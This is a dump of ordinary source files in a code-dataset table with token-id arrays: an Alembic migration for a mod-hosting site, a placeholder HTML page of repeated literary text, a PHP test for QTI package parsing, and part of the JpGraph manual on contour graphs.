code stringlengths 5 1.01M | repo_name stringlengths 5 84 | path stringlengths 4 311 | language stringclasses 30 values | license stringclasses 15 values | size int64 5 1.01M | input_ids listlengths 502 502 | token_type_ids listlengths 502 502 | attention_mask listlengths 502 502 | labels listlengths 502 502 |
|---|---|---|---|---|---|---|---|---|---|
"""Add mod versioning
Revision ID: 1d46e8d4483
Revises: 2650a2191fe
Create Date: 2014-06-10 01:29:49.567535
"""
# revision identifiers, used by Alembic.
revision = '1d46e8d4483'
down_revision = '2650a2191fe'
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated by Alembic - please adjust! ###
op.drop_column('mod', 'ksp_version')
op.drop_column('mod', 'keywords')
### end Alembic commands ###
def downgrade():
### commands auto generated by Alembic - please adjust! ###
op.add_column('mod', sa.Column('keywords', sa.VARCHAR(length=256), autoincrement=False, nullable=True))
op.add_column('mod', sa.Column('ksp_version', sa.VARCHAR(length=16), autoincrement=False, nullable=True))
### end Alembic commands ###
| Kerbas-ad-astra/KerbalStuff | alembic/versions/1d46e8d4483_add_mod_versioning.py | Python | mit | 786 | [
30522,
1000,
1000,
1000,
5587,
16913,
2544,
2075,
13921,
8909,
1024,
1015,
2094,
21472,
2063,
2620,
2094,
22932,
2620,
2509,
7065,
13087,
1024,
20549,
2692,
2050,
17465,
2683,
2487,
7959,
3443,
3058,
1024,
2297,
1011,
5757,
1011,
2184,
5890... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<p>
Miusov, as a man man of breeding and deilcacy, could not but feel some inwrd qualms, when he reached the Father Superior's with Ivan: he felt ashamed of havin lost his temper. He felt that he ought to have disdaimed that despicable wretch, Fyodor Pavlovitch, too much to have been upset by him in Father Zossima's cell, and so to have forgotten himself. "Teh monks were not to blame, in any case," he reflceted, on the steps. "And if they're decent people here (and the Father Superior, I understand, is a nobleman) why not be friendly and courteous withthem? I won't argue, I'll fall in with everything, I'll win them by politness, and show them that I've nothing to do with that Aesop, thta buffoon, that Pierrot, and have merely been takken in over this affair, just as they have."
</p>
<div style="padding: 2rem 0;">
<img src="img/hello.png" style="width: 100%;" />
</div>
<p>
Miusov, as a man man of breeding and deilcacy, could not but feel some inwrd qualms, when he reached the Father Superior's with Ivan: he felt ashamed of havin lost his temper. He felt that he ought to have disdaimed that despicable wretch, Fyodor Pavlovitch, too much to have been upset by him in Father Zossima's cell, and so to have forgotten himself. "Teh monks were not to blame, in any case," he reflceted, on the steps. "And if they're decent people here (and the Father Superior, I understand, is a nobleman) why not be friendly and courteous withthem? I won't argue, I'll fall in with everything, I'll win them by politness, and show them that I've nothing to do with that Aesop, thta buffoon, that Pierrot, and have merely been takken in over this affair, just as they have."
</p>
<div style="padding: 2rem 0;">
<img src="img/hello.png" style="width: 100%;" />
</div>
<p>
Miusov, as a man man of breeding and deilcacy, could not but feel some inwrd qualms, when he reached the Father Superior's with Ivan: he felt ashamed of havin lost his temper. He felt that he ought to have disdaimed that despicable wretch, Fyodor Pavlovitch, too much to have been upset by him in Father Zossima's cell, and so to have forgotten himself. "Teh monks were not to blame, in any case," he reflceted, on the steps. "And if they're decent people here (and the Father Superior, I understand, is a nobleman) why not be friendly and courteous withthem? I won't argue, I'll fall in with everything, I'll win them by politness, and show them that I've nothing to do with that Aesop, thta buffoon, that Pierrot, and have merely been takken in over this affair, just as they have."
</p> | rafal-r/airr | source/app/view-model/mayer/content.html | HTML | mit | 2,575 | [
30522,
1026,
1052,
1028,
2771,
26658,
2615,
1010,
2004,
1037,
2158,
2158,
1997,
8119,
1998,
14866,
15472,
15719,
1010,
2071,
2025,
2021,
2514,
2070,
1999,
13088,
2094,
24209,
2389,
5244,
1010,
2043,
2002,
2584,
1996,
2269,
6020,
1005,
1055,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
/**
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; under version 2
* of the License (non-upgradable).
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* Copyright (c) 2013 (original work) Open Assessment Technologies SA (under the project TAO-PRODUCT);
*
*
*/
namespace oat\taoQtiItem\test\integration;
use \common_ext_ExtensionsManager;
use oat\tao\test\TaoPhpUnitTestRunner;
use oat\taoQtiItem\model\qti\Service;
use oat\taoQtiItem\model\qti\PackageParser;
use oat\taoQtiItem\model\qti\ManifestParser;
include_once dirname(__FILE__) . '/../../includes/raw_start.php';
/**
*
* @author Bertrand Chevrier, <taosupport@tudor.lu>
* @package taoQTI
*/
class QtiPackageParsingTest extends TaoPhpUnitTestRunner
{
protected $qtiService;
/**
* tests initialization
*/
public function setUp(): void
{
TaoPhpUnitTestRunner::initTest();
$this->qtiService = Service::singleton();
}
/**
* test qti file parsing: validation and loading in a non-persistant context
*/
public function testFileParsing()
{
//check if wrong packages are not validated correctly
foreach (glob(dirname(__FILE__) . '/samples/parser/wrong/*.zip') as $file) {
$qtiParser = new PackageParser($file);
$qtiParser->validate();
$this->assertFalse($qtiParser->isValid(), 'failed with: ' . $file);
$this->assertTrue(count($qtiParser->getErrors()) > 0);
$this->assertTrue(strlen($qtiParser->displayErrors()) > 0);
}
//check if package samples are valid
foreach (glob(dirname(__FILE__) . '/samples/package/QTI/*.zip') as $file) {
$qtiParser = new PackageParser($file);
$qtiParser->validate();
if (!$qtiParser->isValid()) {
echo $qtiParser->displayErrors();
}
$this->assertTrue($qtiParser->isValid());
}
//check if wrong manifest files are not validated correctly
foreach (glob(dirname(__FILE__) . '/samples/package/wrong/*.xml') as $file) {
$qtiParser = new ManifestParser($file);
$qtiParser->validate();
$this->assertFalse($qtiParser->isValid());
$this->assertTrue(count($qtiParser->getErrors()) > 0);
$this->assertTrue(strlen($qtiParser->displayErrors()) > 0);
}
//check if manifest samples are valid
$basePath = common_ext_ExtensionsManager::singleton()->getExtensionById('taoQtiItem')->getDir();
foreach (glob(dirname(__FILE__) . '/samples/package/*.xml') as $file) {
$qtiParser = new ManifestParser($file);
$schema = '';
$fileContent = file_get_contents($file);
if (strpos($fileContent, 'xmlns="http://www.imsglobal.org/xsd/apip/apipv1p0/imscp_v1p1"')) {
$schema = $basePath . 'model/qti/data/apipv1p0/Core_Level/Package/apipv1p0_imscpv1p2_v1p0.xsd';
}
$qtiParser->validate($schema);
if (!$qtiParser->isValid()) {
echo $qtiParser->displayErrors();
}
$this->assertTrue($qtiParser->isValid());
}
}
}
| oat-sa/extension-tao-itemqti | test/integration/QtiPackageParsingTest.php | PHP | gpl-2.0 | 3,756 | [
30522,
1026,
1029,
25718,
1013,
1008,
1008,
1008,
2023,
2565,
2003,
2489,
4007,
1025,
2017,
2064,
2417,
2923,
3089,
8569,
2618,
2009,
1998,
1013,
2030,
1008,
19933,
2009,
2104,
1996,
3408,
1997,
1996,
27004,
2236,
2270,
6105,
1008,
2004,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Contour graphs</title><link rel="stylesheet" type="text/css" href="manual.css"><meta name="generator" content="DocBook XSL Stylesheets V1.76.0"><link rel="home" href="index.html" title="JpGraph Manual"><link rel="up" href="ch15.html" title="Chapter 15. Different types of linear (cartesian) graph types"></head><body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"><div class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="3" align="center">Contour graphs </th></tr><tr><td width="20%" align="left"> </td><th width="60%" align="center">Chapter 15. Different types of linear (cartesian) graph types</th><td width="20%" align="right"> </td></tr></table><hr></div><div class="sect1" title="Contour graphs"><div class="titlepage"><div><div><h2 class="title" style="clear: both"><a name="sec.contour-graphs"></a>Contour graphs </h2></div></div></div>
<p>In order to create Radar graphs the module
"<code class="filename">jpgraph_contour.php</code>" must first be included.</p>
<p>
</p><div class="note" title="Note" style="margin-left: 0.5in; margin-right: 0.5in;"><h3 class="title">Note</h3>
<p> The Pro-version (>= v3.1) also includes a module
"<code class="filename">jpgraph_contourf.php</code>" which is also supports
filled contour plots as well as labelling in the plots of the isobar lines.
The pro-version also uses a more advanced adaptive-mesh algorithm that give
better resolution without manual interpolation of the original data. Both
triangular and rectangular interpolation meshes are supported. The filled
contour is described in <a class="xref" href="ch23.html" title="Chapter 23. Filled contour graphs">Chapter 23. <i>Filled contour graphs</i></a>
</p>
</div><p>
</p>
<p>Contour plots are used to plot the isobar lines (height curves) of a three
dimensional (3D) graph. The contour plot itself is only a two-dimensional plot and
looks like an ordinary topographic map. An example of a contour graph is shown in
<a class="xref" href="ch15s06.html#fig.basic_contourex01" title="Figure 15.75. A basic contour graph (basic_contourex01.php)">Figure 15.75. A basic contour graph <code class="uri"><a class="uri" href="example_src/basic_contourex01.html" target="_top">(<code class="filename">basic_contourex01.php</code>)</a></code> </a></p>
<p>
</p><div class="figure"><a name="fig.basic_contourex01"></a><p class="title"><b>Figure 15.75. A basic contour graph <code class="uri"><a class="uri" href="example_src/basic_contourex01.html" target="_top">(<code class="filename">basic_contourex01.php</code>)</a></code> </b></p><div class="figure-contents"> <span class="inlinemediaobject"><img src="images/basic_contourex01.png" alt="A basic contour graph (basic_contourex01.php)"></span> </div></div><p><br class="figure-break">
</p>
<p>A contour graph is both similar and different from other types x-y graphs.</p>
<p>
</p><div class="itemizedlist"><ul class="itemizedlist" type="disc"><li class="listitem">
<p>A contour graph uses the standard x-y <code class="code">class Graph</code> as
basic graph canvas</p>
</li><li class="listitem">
<p>A contour graph has all the standard graph formatting options</p>
</li><li class="listitem">
<p>The legend is automatically generated</p>
</li><li class="listitem">
<p>The input data is a matrix and not an array</p>
</li></ul></div><p>
</p>
<p>There are primarily four main parameters that can be used to control the apparency
of the contour plots</p>
<p>
</p><div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
<p><span class="bold"><strong>the number of isobar lines</strong></span>, by
default 10 isobar lines are used</p>
</li><li class="listitem">
<p><span class="bold"><strong>the level of data grid interpolating,</strong></span>
i.e. to give the appearance of smoother isobar lines it is possible to
tell the library to create a number of intermediate points between the
given points in the input data matrix. It is important to note that this
does not create any further real information it only creates smoother
lines under the assumption that it is valid to assume linear
interpolation between the original data points. </p>
<p>The level of interpolation is specified as an integer in the practical
range 1 to 5. A level of 1 corresponds to just keeping the original
data, a level of 2 corresponds to subdividing the original data points
in two, i.e. one extra interpolated points is created in both x- and
y-direction and so on. A level of 3 corresponds to further sub-divding
the level 2 matrix one more time. </p>
<p>Even though it is theoretically possible to use an arbitrary
interpolation factor the library does not allow an interpolation factor
larger than 5. The reason is purely computational since the total number
of data points increases very quickly.</p>
<p>For example if the original grid has size 10x10 (=100 data points)
interpolating this grid with a factor of 5 will generate a new matrix of
size 145x145 (=21025 data points).</p>
</li><li class="listitem">
<p><span class="bold"><strong>flip around the Y-axis</strong></span>. By default
the first row in the input matrix corresponds to y=0, however this also
means that the plotted contour will be flipped compared with the input
matrix since y=0 is at the bottom of the graph. If for visual appearance
reason one wants the input data matrix to have the same orientation as
the resulting graph it is possible to have the library interpret the
last row in the input data matrix as y=0 instead</p>
</li><li class="listitem">
<p><span class="bold"><strong>the color of the isobar lines</strong></span>. By
default they will be assigned from the natural color spectra with pure
dark blue corresponding to the lowest point in the plot and pure red
corresponding to the highest isobar.</p>
</li></ol></div><p>
</p>
<p>The remaining possibilities to adjust the appearance of the contour plot
corresponds to the standard ways of changing the layout of the graph, for example
adding titles, adjusting colors and changing the type of axis to be
displayed.</p>
<p>The scale of the contour plot is by default the natural scale, i.e. the points are
assumed to be numbered (0..n) where n is the number of points in the corresponding
direction and also corresponds to each entry in the input data matrix.</p>
<div class="sect2" title="Input data for contour graphs"><div class="titlepage"><div><div><h3 class="title"><a name="id2562600"></a>Input data for contour graphs</h3></div></div></div>
<p>The input data to a contour graph is a matrix. The value at each entry in the
matrix represents the heights at the specified (row,col) in the matrix. In all
of our example we will use the following data matrix</p>
<p>
</p><div class="hl-main"><table class="hl-table" width="100%"><tr><td class="hl-gutter" align="right" valign="top"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="hl-main" valign="top"><pre><span class="hl-inlinetags"><?php</span><span class="hl-code">
</span><span class="hl-var">$data</span><span class="hl-code"> = </span><span class="hl-reserved">array</span><span class="hl-brackets">(</span><span class="hl-code">
</span><span class="hl-reserved">array</span><span class="hl-code"> </span><span class="hl-brackets">(</span><span class="hl-number">0</span><span class="hl-number">.5</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.1</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.5</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-code">,</span><span class="hl-number">0</span><span class="hl-number">.1</span><span class="hl-brackets">)</span><span class="hl-code">,
</span><span class="hl-reserved">array</span><span class="hl-code"> </span><span class="hl-brackets">(</span><span class="hl-number">1</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.5</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">5</span><span class="hl-code">,</span><span class="hl-number">6</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.2</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-code">,</span><span class="hl-number">4</span><span class="hl-brackets">)</span><span class="hl-code">,
</span><span class="hl-reserved">array</span><span class="hl-code"> </span><span class="hl-brackets">(</span><span class="hl-number">0</span><span class="hl-number">.9</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-number">.1</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-code">,</span><span class="hl-number">6</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">7</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.4</span><span class="hl-brackets">)</span><span class="hl-code">,
</span><span class="hl-reserved">array</span><span class="hl-code"> </span><span class="hl-brackets">(</span><span class="hl-number">1</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.5</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">4</span><span class="hl-code">,</span><span class="hl-number">6</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">5</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.5</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-brackets">)</span><span class="hl-code">,
</span><span class="hl-reserved">array</span><span class="hl-code"> </span><span class="hl-brackets">(</span><span class="hl-number">0</span><span class="hl-number">.8</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-code">,</span><span class="hl-number">4</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">4</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-number">.4</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-brackets">)</span><span class="hl-code">,
</span><span class="hl-reserved">array</span><span class="hl-code"> </span><span class="hl-brackets">(</span><span class="hl-number">0</span><span class="hl-number">.6</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.1</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.5</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-code">,</span><span class="hl-number">4</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-number">.5</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-code">,</span><span class="hl-number">4</span><span class="hl-brackets">)</span><span class="hl-code">,
</span><span class="hl-reserved">array</span><span class="hl-code"> </span><span class="hl-brackets">(</span><span class="hl-number">1</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.5</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">5</span><span class="hl-code">,</span><span class="hl-number">6</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.2</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-number">.7</span><span class="hl-code">,</span><span class="hl-number">4</span><span class="hl-brackets">)</span><span class="hl-code">,
</span><span class="hl-reserved">array</span><span class="hl-code"> </span><span class="hl-brackets">(</span><span class="hl-number">0</span><span class="hl-number">.8</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-code">,</span><span class="hl-number">5</span><span class="hl-number">.5</span><span class="hl-code">,</span><span class="hl-number">6</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.4</span><span class="hl-brackets">)</span><span class="hl-code">,
</span><span class="hl-reserved">array</span><span class="hl-code"> </span><span class="hl-brackets">(</span><span class="hl-number">1</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-number">.5</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">4</span><span class="hl-code">,</span><span class="hl-number">6</span><span class="hl-number">.0</span><span class="hl-code">,</span><span class="hl-number">5</span><span class="hl-code">,</span><span class="hl-number">2</span><span class="hl-code">,</span><span class="hl-number">1</span><span class="hl-code">,</span><span class="hl-number">0</span><span class="hl-number">.5</span><span class="hl-code">,</span><span class="hl-number">0</span><span class="hl-number">.2</span><span class="hl-brackets">)</span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-inlinetags">?></span></pre></td></tr></table></div><p>
</p>
<p>By default the entry (0,0), i.e. row=0, col=0 will be positioned at graph
position (0,0), i.e. the lower left corner. Since this will represent an
inverted image compare to the data matrix. In order to have the graph oriented
in the same way as the data matrix, i.e. entry (0,0) positioned in the top left
corner the method</p>
<p>
</p><div class="itemizedlist"><ul class="itemizedlist" type="disc"><li class="listitem">
<p><code class="code">ContourPlot::SetInvert($aFlg=true)</code></p>
</li></ul></div><p>
</p>
<p>In order to get a smooth contour plot it is necessary to have adequate number
of data points. What consists "adequate" number depends on the overall graph
size. The larger graph the more points are needed. To help crate smooth contour
plot the library offers automatic linear interpolation to specified depth. It is
important to note that this does not increase the accuracy. It merely creates
artificial point to draw smoother curves. This technique is described in detail
in <a class="xref" href="ch15s06.html#sec.grid-interpolating" title="Understanding mesh interpolation">Understanding mesh interpolation</a></p>
<div class="tip" title="Tip" style="margin-left: 0.5in; margin-right: 0.5in;"><h3 class="title">Tip</h3>
<p>If the data for the matrix is available in a file a convinient way to get
hold of the dat in the file is to use the utility <code class="code">class
ReadFileData</code> to get hold of the data using the method<code class="code">
ReadFileData::FromMatrix($aFile,$aSeparator=' ')</code> which read the
matrix from a file. Each row of the matrix must be a separate line and each
cell is separated with the character specified as the second argument. By
default a space is used as separator. All values read back are converted to
floating point numbers (double precision). The following short example shows
how easy this is to use</p>
<p>
</p><div class="hl-main"><table class="hl-table" width="100%"><tr><td class="hl-gutter" align="right" valign="top"><pre>1
</pre></td><td class="hl-main" valign="top"><pre><span class="hl-code">$data = ReadFileData::FromMatrix('matrixdata.txt');</span></pre></td></tr></table></div><p>
</p>
</div>
</div>
<div class="sect2" title="Creating a contour graph"><div class="titlepage"><div><div><h3 class="title"><a name="sec.creating-contour-graph"></a>Creating a contour graph</h3></div></div></div>
<p><a class="xref" href="ch15s06.html#fig.basic_contourex01" title="Figure 15.75. A basic contour graph (basic_contourex01.php)">Figure 15.75. A basic contour graph <code class="uri"><a class="uri" href="example_src/basic_contourex01.html" target="_top">(<code class="filename">basic_contourex01.php</code>)</a></code> </a> shows the most basic contour plot.
This is crated by first instantiating a graph and then creating an instance of
<code class="code">class ContourPlot</code> which is added to the graph. </p>
<p>The constructor for <code class="code">class ContourPlot</code> has the following
signature</p>
<p>
</p><div class="itemizedlist"><ul class="itemizedlist" type="disc"><li class="listitem">
<p><code class="code">ContourPlot::__construct($aDataMatrix, $aIsobar=10,
$aFactor=1, $aInvert=false,
$aIsobarColors=array())</code></p>
<p><code class="code">$aDataMatrix</code>, The input data</p>
<p><code class="code">$aIsobar</code>, The number of isobars if the argument is an
integer or an array specifying the exact locations of each isobar if
the argument is an array</p>
<p><code class="code">$aFactor</code>, Grid interpolation factor</p>
<p><code class="code">$aInvert</code>, Invert the data matrix so the matrix entry
(0,0) corresponds to the top left corner</p>
<p><code class="code">$aIsobarColors</code>, Optional specification of isobar
colors </p>
</li></ul></div><p>
</p>
<p>This means that the common structure to create a basic contour plot will
be</p>
<p>
</p><div class="hl-main"><table class="hl-table" width="100%"><tr><td class="hl-gutter" align="right" valign="top"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="hl-main" valign="top"><pre><span class="hl-inlinetags"><?php</span><span class="hl-code">
</span><span class="hl-var">$data</span><span class="hl-code"> = </span><span class="hl-reserved">array</span><span class="hl-code"> </span><span class="hl-brackets">(</span><span class="hl-code"> </span><span class="hl-reserved">array</span><span class="hl-code"> </span><span class="hl-brackets">(</span><span class="hl-code"> ... </span><span class="hl-brackets">)</span><span class="hl-code"> </span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-comment">//</span><span class="hl-comment"> Basic contour graph</span><span class="hl-comment"></span><span class="hl-code">
</span><span class="hl-var">$graph</span><span class="hl-code"> = </span><span class="hl-reserved">new</span><span class="hl-code"> </span><span class="hl-identifier">Graph</span><span class="hl-brackets">(</span><span class="hl-var">$width</span><span class="hl-code">,</span><span class="hl-var">$height</span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-var">$graph</span><span class="hl-code">-></span><span class="hl-identifier">SetScale</span><span class="hl-brackets">(</span><span class="hl-quotes">'</span><span class="hl-string">intint</span><span class="hl-quotes">'</span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-comment">//</span><span class="hl-comment"> Adjust the margins to fit the margin</span><span class="hl-comment"></span><span class="hl-code">
</span><span class="hl-var">$graph</span><span class="hl-code">-></span><span class="hl-identifier">SetMargin</span><span class="hl-brackets">(</span><span class="hl-number">30</span><span class="hl-code">,</span><span class="hl-number">100</span><span class="hl-code">,</span><span class="hl-number">40</span><span class="hl-code">,</span><span class="hl-number">30</span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-comment">//</span><span class="hl-comment"> Setup</span><span class="hl-comment"></span><span class="hl-code">
</span><span class="hl-var">$graph</span><span class="hl-code">-></span><span class="hl-identifier">title</span><span class="hl-code">-></span><span class="hl-identifier">Set</span><span class="hl-brackets">(</span><span class="hl-quotes">'</span><span class="hl-string">Basic contour plot</span><span class="hl-quotes">'</span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-var">$graph</span><span class="hl-code">-></span><span class="hl-identifier">title</span><span class="hl-code">-></span><span class="hl-identifier">SetFont</span><span class="hl-brackets">(</span><span class="hl-identifier">FF_ARIAL</span><span class="hl-code">,</span><span class="hl-identifier">FS_BOLD</span><span class="hl-code">,</span><span class="hl-number">12</span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-comment">//</span><span class="hl-comment"> A simple contour plot with default arguments (e.g. 10 isobar lines)</span><span class="hl-comment"></span><span class="hl-code">
</span><span class="hl-var">$cp</span><span class="hl-code"> = </span><span class="hl-reserved">new</span><span class="hl-code"> </span><span class="hl-identifier">ContourPlot</span><span class="hl-brackets">(</span><span class="hl-var">$data</span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-comment">//</span><span class="hl-comment"> Display the legend</span><span class="hl-comment"></span><span class="hl-code">
</span><span class="hl-var">$cp</span><span class="hl-code">-></span><span class="hl-identifier">ShowLegend</span><span class="hl-brackets">(</span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-var">$graph</span><span class="hl-code">-></span><span class="hl-identifier">Add</span><span class="hl-brackets">(</span><span class="hl-var">$cp</span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-inlinetags">?></span></pre></td></tr></table></div><p>
</p>
<p>Since the most common format for contour graphs is to show axis on all sides
we should add the line</p>
<p>
</p><div class="hl-main"><table class="hl-table" width="100%"><tr><td class="hl-gutter" align="right" valign="top"><pre>1
</pre></td><td class="hl-main" valign="top"><pre><span class="hl-code">$graph->SetAxisStyle(AXSTYLE_BOXOUT);</span></pre></td></tr></table></div><p>
</p>
<p>to our previous example so we get the effect shown in <a class="xref" href="ch15s06.html#fig.basic_contourex02" title="Figure 15.76. Adding axis on all sides (basic_contourex02.php)">Figure 15.76. Adding axis on all sides <code class="uri"><a class="uri" href="example_src/basic_contourex02.html" target="_top">(<code class="filename">basic_contourex02.php</code>)</a></code> </a>. To show the effect of flipping the
data around the center line we have to add the following line</p>
<p>
</p><div class="hl-main"><table class="hl-table" width="100%"><tr><td class="hl-gutter" align="right" valign="top"><pre>1
</pre></td><td class="hl-main" valign="top"><pre><span class="hl-code">$cp->SetInvert();</span></pre></td></tr></table></div><p>
</p>
